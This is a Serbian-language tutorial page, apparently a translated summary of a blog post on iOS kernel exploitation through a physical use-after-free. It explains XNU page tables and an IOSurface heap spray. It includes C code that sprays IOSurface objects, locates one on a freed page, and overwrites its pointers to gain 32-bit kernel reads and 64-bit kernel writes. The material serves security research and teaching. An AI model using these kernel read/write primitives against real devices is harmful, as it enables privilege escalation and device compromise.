iOS Exploiting

Reading time: 6 minutes

Fizičko korišćenje nakon oslobađanja

Ovo je sažetak iz posta sa https://alfiecg.uk/2024/09/24/Kernel-exploit.html, a dodatne informacije o eksploatu korišćenjem ove tehnike mogu se naći na https://github.com/felix-pb/kfd

Upravljanje memorijom u XNU

Virtuelni adresni prostor za korisničke procese na iOS-u se proteže od 0x0 do 0x8000000000. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, kernel koristi tabele stranica za prevođenje virtuelnih adresa u stvarne fizičke adrese.

Nivoi tabela stranica u iOS-u

Tabele stranica su organizovane hijerarhijski u tri nivoa:

  1. L1 tabela stranica (Nivo 1):
  • Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
  • Pokriva 0x1000000000 bajtova (ili 256 GB) virtuelne memorije.
  1. L2 tabela stranica (Nivo 2):
  • Unos ovde predstavlja manju oblast virtuelne memorije, specifično 0x2000000 bajtova (32 MB).
  • L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam.
  1. L3 tabela stranica (Nivo 3):
  • Ovo je najfiniji nivo, gde svaki unos mapira jednu 4 KB stranicu memorije.
  • L2 unos može ukazivati na L3 tabelu ako je potrebna preciznija kontrola.

Mapiranje virtuelne u fizičku memoriju

  • Direktno mapiranje (Blok mapiranje):
  • Neki unosi u tabeli stranica direktno mapiraju opseg virtuelnih adresa na kontiguitet fizičkih adresa (poput prečice).
  • Pokazivač na tabelu stranica deteta:
  • Ako je potrebna finija kontrola, unos u jednom nivou (npr. L1) može ukazivati na tabelu stranica deteta na sledećem nivou (npr. L2).

Primer: Mapiranje virtuelne adrese

Recimo da pokušavate da pristupite virtuelnoj adresi 0x1000000000:

  1. L1 tabela:
  • Kernel proverava L1 unos tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima pokazivač na L2 tabelu stranica, prelazi na tu L2 tabelu.
  1. L2 tabela:
  • Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na L3 tabelu stranica, nastavlja dalje.
  1. L3 tabela:
  • Kernel traži konačni L3 unos, koji ukazuje na fizičku adresu stvarne stranice memorije.

Primer mapiranja adrese

Ako upišete fizičku adresu 0x800004000 u prvi indeks L2 tabele, tada:

  • Virtuelne adrese od 0x1000000000 do 0x1002000000 mapiraju se na fizičke adrese od 0x800004000 do 0x802004000.
  • Ovo je blok mapiranje na L2 nivou.

Alternativno, ako L2 unos ukazuje na L3 tabelu:

  • Svaka 4 KB stranica u opsegu virtuelnih adresa 0x1000000000 -> 0x1002000000 biće mapirana pojedinačnim unosima u L3 tabeli.

Fizičko korišćenje nakon oslobađanja

Fizičko korišćenje nakon oslobađanja (UAF) se dešava kada:

  1. Proces alokira neku memoriju kao čitljivu i zapisivu.
  2. Tabele stranica se ažuriraju da mapiraju ovu memoriju na specifičnu fizičku adresu kojoj proces može pristupiti.
  3. Proces dealokira (oslobađa) memoriju.
  4. Međutim, zbog greške, kernel zaboravlja da ukloni mapiranje iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.
  5. Kernel može zatim ponovo alocirati ovu "oslobođenu" fizičku memoriju za druge svrhe, poput kernel podataka.
  6. Pošto mapiranje nije uklonjeno, proces može i dalje čitati i pisati u ovu fizičku memoriju.

To znači da proces može pristupiti stranicama kernel memorije, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da manipuliše kernel memorijom.

Strategija eksploatacije: Heap Spray

Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu heap spray:

  1. Napadač stvara veliki broj IOSurface objekata u kernel memoriji.
  2. Svaki IOSurface objekat sadrži magičnu vrednost u jednom od svojih polja, što olakšava identifikaciju.
  3. Oni skeniraju oslobođene stranice da vide da li je neki od ovih IOSurface objekata sleteo na oslobođenu stranicu.
  4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za čitati i pisati kernel memoriju.

Više informacija o ovome u https://github.com/felix-pb/kfd/tree/main/writeups

Korak-po-korak proces heap spray-a

  1. Spray IOSurface objekata: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magična vrednost").
  2. Skeniranje oslobođenih stranica: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.
  3. Čitanje/Pisanje kernel memorije: Manipulacijom polja u IOSurface objektu, stiču sposobnost da izvrše arbitrarna čitanja i pisanja u kernel memoriji. Ovo im omogućava:
  • Da koriste jedno polje za čitati bilo koju 32-bitnu vrednost u kernel memoriji.
  • Da koriste drugo polje za pisanje 64-bitnih vrednosti, postizajući stabilnu kernel read/write primitivu.

Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC za kasnije pretraživanje:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Pretražite IOSurface objekte u jednoj oslobođenoj fizičkoj stranici:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Postizanje Kernel Read/Write sa IOSurface

Nakon što postignemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za arbitrarne kernel read i write operacije.

Ključna Polja u IOSurface

IOSurface objekat ima dva ključna polja:

  1. Pokazivač na Broj Korišćenja: Omogućava 32-bitno čitanje.
  2. Pokazivač na Indeksirani Vreme: Omogućava 64-bitno pisanje.

Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.

32-Bitno Kernel Čitanje

Da bismo izvršili čitanje:

  1. Prepišite pokazivač na broj korišćenja da pokazuje na ciljnu adresu minus 0x14-bajtni ofset.
  2. Koristite get_use_count metodu da pročitate vrednost na toj adresi.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Da biste izvršili pisanje:

  1. Prepišite pokazivač indeksiranog vremenskog pečata na cilnu adresu.
  2. Koristite metodu set_indexed_timestamp da biste napisali 64-bitnu vrednost.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Pregled Eksploatacije

  1. Pokreni Fizičku Upotrebu-Nakon-Oslobađanja: Oslobođene stranice su dostupne za ponovnu upotrebu.
  2. Sprej IOSurface Objekata: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.
  3. Identifikuj Pristupačni IOSurface: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
  4. Zloupotrebi Upotrebu-Nakon-Oslobađanja: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno čitanje/pisanje u kernel putem IOSurface metoda.

Sa ovim primitivima, eksploatacija omogućava kontrolisano 32-bitno čitanje i 64-bitno pisanje u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).